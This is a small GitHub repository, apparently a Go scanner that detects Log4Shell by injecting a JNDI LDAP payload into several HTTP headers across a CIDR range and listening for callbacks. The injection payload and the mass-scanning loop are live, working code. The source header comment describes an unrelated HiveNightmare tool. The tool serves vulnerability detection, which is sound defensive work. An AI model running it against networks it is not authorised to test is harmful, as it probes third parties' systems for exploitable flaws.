├── .github └── workflows │ └── goreleaser.yml ├── .gitignore ├── .goreleaser.yaml ├── LICENSE ├── README.md ├── extras └── log4shellscanner_output.png ├── go.mod └── logs4shell.go /.github/workflows/goreleaser.yml: -------------------------------------------------------------------------------- 1 | name: goreleaser 2 | 3 | on: 4 | pull_request: 5 | push: 6 | 7 | jobs: 8 | goreleaser: 9 | runs-on: ubuntu-latest 10 | steps: 11 | - 12 | name: Checkout 13 | uses: actions/checkout@v2 14 | with: 15 | fetch-depth: 0 16 | - 17 | name: Set up Go 18 | uses: actions/setup-go@v2 19 | with: 20 | go-version: 1.17 21 | - 22 | name: Run GoReleaser 23 | uses: goreleaser/goreleaser-action@v2 24 | with: 25 | distribution: goreleaser 26 | version: latest 27 | args: release --rm-dist 28 | env: 29 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 30 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | .env 3 | -------------------------------------------------------------------------------- /.goreleaser.yaml: -------------------------------------------------------------------------------- 1 | builds: 2 | - env: 3 | - CGO_ENABLED=0 4 | goos: 5 | - linux 6 | - windows 7 | - darwin 8 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Log4ShellScanner 2 | Scans and catches callbacks of systems that are impacted by Log4J Log4Shell vulnerability across specific headers. 3 | 4 | *Very Beta Warning!* :) 5 | 6 | ![Alt text](https://raw.githubusercontent.com/mwarnerblu/Log4ShellScanner/main/extras/log4shellscanner_output.png "Log4Shell Scanner Output") 7 | 8 | In an effort to simplify the annoying effort of figuring out what actually has vulnerable log4j, I put together a scanner which attempts to pollute X-Api-Version, User-Agent, and Authentication headers. In my testing I'm able to get back vulnerable servers however this likely need additional expansion as new methods of injection are realized. 9 | 10 | # Usage 11 | If building locally nothing fancy is required, I used go 1.16 but it's a fairly straightforward script. Otherwise theres are only 4 params required for the run: 12 | 13 | `-SourceIP` - Source of the requests and the IP you want to have called back to 14 | `-SourcePort` - Port you want this script to listen on locally 15 | `-DestCIDR` - CIDR you want scanned (bigger will take longer) 16 | `-DestPort` - Port that you want to target for scanning 17 | 18 | Otherwise it's a simple run as you can see from the output above: 19 | 20 | ``` 21 | ./log4shell -SourceIP 192.168.10.130 -SourcePort 8081 -DestCIDR 192.168.10.0/24 -DestPort 8080 22 | ``` 23 | 24 | # Known Limitations 25 | As this was thrown together for internal testing and validation there's a few limitations still! 26 | 27 | * Only goes over HTTP right now, HTTPS can be easily added in the future 28 | * Does not allow a variety of ports 29 | * Could be better threaded 30 | * Doesn't handle exit gracefully and just waits for callbacks 31 | -------------------------------------------------------------------------------- /extras/log4shellscanner_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mwarnerblu/Log4ShellScanner/78386a46262d92e8adfb6e155881794c8aea57f8/extras/log4shellscanner_output.png -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/mwarnerblu/Log4ShellScanner 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /logs4shell.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Go HiveNightmare - Identify accessible Volume Shadow Copy and pull hive files if flagged 4 | // Version: 1.0 5 | // Author: mwarnerblu 6 | // usage: gohn.exe <-test|-extract> 7 | 8 | import ( 9 | "log" 10 | "flag" 11 | "os" 12 | "net" 13 | "net/http" 14 | "time" 15 | "fmt" 16 | "encoding/binary" 17 | "strings" 18 | ) 19 | 20 | // Handles incoming requests. 21 | func handleRequest(conn net.Conn) { 22 | // Make a buffer to hold incoming data. 23 | buf := make([]byte, 1024) 24 | // Get address of connection 25 | if addr, ok := conn.RemoteAddr().(*net.TCPAddr); ok { 26 | log.Printf("Possibly vulnerable host identified: %v", addr.IP.String()) 27 | } 28 | // Read the incoming connection into the buffer. 29 | _, err := conn.Read(buf) 30 | if err != nil { 31 | log.Printf("Error reading: %v", err.Error()) 32 | } 33 | // Close the connection when you're done with it. 34 | conn.Close() 35 | } 36 | 37 | func request(destCIDR string, destPort string, sourceIp string, sourcePort string) error { 38 | log.Printf("Scanning %v CIDR now!\n---------", destCIDR) 39 | client := &http.Client{ 40 | Timeout: time.Millisecond * 50, 41 | } 42 | // convert string to IPNet struct 43 | _, ipv4Net, err := net.ParseCIDR(destCIDR) 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | 48 | // convert IPNet struct mask and address to uint32 49 | // network is BigEndian 50 | mask := binary.BigEndian.Uint32(ipv4Net.Mask) 51 | start := binary.BigEndian.Uint32(ipv4Net.IP) 52 | 53 | // find the final address 54 | finish := (start & mask) | (mask ^ 0xffffffff) 55 | 56 | // loop through addresses as uint32 57 | for i := start; i <= finish; i++ { 58 | // convert back to net.IP 59 | ip := make(net.IP, 4) 60 | binary.BigEndian.PutUint32(ip, i) 61 | // log.Printf("Testing IP: %v", ip) 62 | var url string = fmt.Sprintf("http://%v:%v", ip, destPort) 63 | req, err := http.NewRequest("GET", url, nil) 64 | if err != nil { 65 | return fmt.Errorf("Got error %s", err.Error()) 66 | } 67 | var lh string = "${jndi:ldap:" 68 | var rh string = "blu}" 69 | var payload string = fmt.Sprintf("%v//%v:%v/%v", lh, sourceIp, sourcePort, rh) 70 | // Poison a whole bunch 71 | req.Header.Set("User-Agent", payload) 72 | req.Header.Add("X-Api-Version", payload) 73 | req.Header.Add("Bearer", payload) 74 | req.Header.Add("Authentication", payload) 75 | response, err := client.Do(req) 76 | if err != nil { 77 | // log.Printf("Got error %v", err.Error()) 78 | continue 79 | } 80 | defer response.Body.Close() 81 | } 82 | log.Printf("Completed scanning of provided CIDR, leaving connection open for later callbacks. You should ctrl+c this program once final callbacks have landed.\n---------") 83 | return nil 84 | } 85 | 86 | func main() { 87 | // Define vars 88 | var welcome string = "Log4Shell Vulnerability Detection.\n---------" 89 | var sourceIp string 90 | var sourcePort string 91 | var destCIDR string 92 | var destPort string 93 | var connType string = "tcp" 94 | 95 | // Register flags 96 | flag.StringVar(&sourceIp, "SourceIP", "Unset", "Your Preferred Source/Requesting IP for Callback") 97 | flag.StringVar(&sourcePort, "SourcePort", "8081", "Port used for listening on callback, defaults to 8081") 98 | flag.StringVar(&destCIDR, "DestCIDR", "192.168.10.0/24", "What Subnet do you want to scan?") 99 | flag.StringVar(&destPort, "DestPort", "8080", "At what port are the applications you want to scan?") 100 | 101 | // Parse flags 102 | flag.Parse() 103 | 104 | // Log out passed configuration 105 | log.Printf(welcome) 106 | if ( sourceIp == "Unset") { 107 | log.Printf("You did not set -SourceIP, please try again or run with --help") 108 | os.Exit(1) 109 | } 110 | if ( !strings.Contains(destCIDR, "/") ) { 111 | log.Printf("Ensure your properly structured your cidr, e.g., 192.168.1.0/24") 112 | os.Exit(1) 113 | } 114 | log.Printf("Running configuration based on input:") 115 | log.Printf("Source/Callback IP: %v", sourceIp) 116 | log.Printf("Source/Callback Port: %v", sourcePort) 117 | log.Printf("Target CIDR: %v", destCIDR) 118 | log.Printf("Target Port: %v", destPort) 119 | 120 | // Listen on requested port 121 | l, err := net.Listen(connType, sourceIp+":"+sourcePort) 122 | if err != nil { 123 | log.Printf("Error listening: %v", err.Error()) 124 | os.Exit(1) 125 | } 126 | 127 | // Close the listener when the application closes. 128 | defer l.Close() 129 | 130 | log.Printf("Listening on " + sourceIp + ":" + sourcePort + "\n---------") 131 | request(destCIDR, destPort, sourceIp, sourcePort) 132 | for { 133 | // Listen for an incoming connection. 134 | conn, err := l.Accept() 135 | if err != nil { 136 | log.Printf("Error accepting: %v", err.Error()) 137 | os.Exit(1) 138 | } 139 | // Handle connections in a new goroutine. 140 | go handleRequest(conn) 141 | } 142 | } 143 | --------------------------------------------------------------------------------